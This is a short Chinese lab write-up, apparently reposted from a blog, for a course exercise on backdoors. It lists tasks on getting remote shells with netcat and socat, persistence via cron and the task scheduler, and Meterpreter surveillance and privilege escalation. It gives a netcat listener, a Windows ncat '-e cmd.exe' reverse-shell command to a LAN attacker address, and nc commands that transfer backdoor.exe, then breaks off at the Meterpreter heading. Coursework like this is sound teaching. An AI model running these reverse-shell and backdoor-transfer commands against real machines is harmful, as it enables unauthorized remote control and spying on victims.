Exp2：后门原理与实践

1 实践目标

• 任务一：使用netcat获取主机操作Shell，cron启动 (0.5分)
• 任务二：使用socat获取主机操作Shell, 任务计划启动 (0.5分)
• 任务三：使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
• 任务四：使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权 (2分)

2 简单后门

2.1 Ncat

2.1.1Linux获得Win Shell

• Linux运行监听指令

  nc -l -p 5117

• Windows反弹连接Linux

  C:\Users\Game\Desktop\ncat\ncat.exe -e cmd.exe 192.168.43.118 5117

• Linux下看到Windows的命令提示

2.1.2Win获得Linux Shell

利用NC传送后门

传输文件步骤如下

• 在本机上执行命令

  nc -l 9999 <backdoor.exe

• 在接收文件的机器上执行命令

  nc 192.168.43.118 9999 > backdoor.exe

2.2Meterpreter

原文地址：https://www.cnblogs.com/ikari/p/8674996.html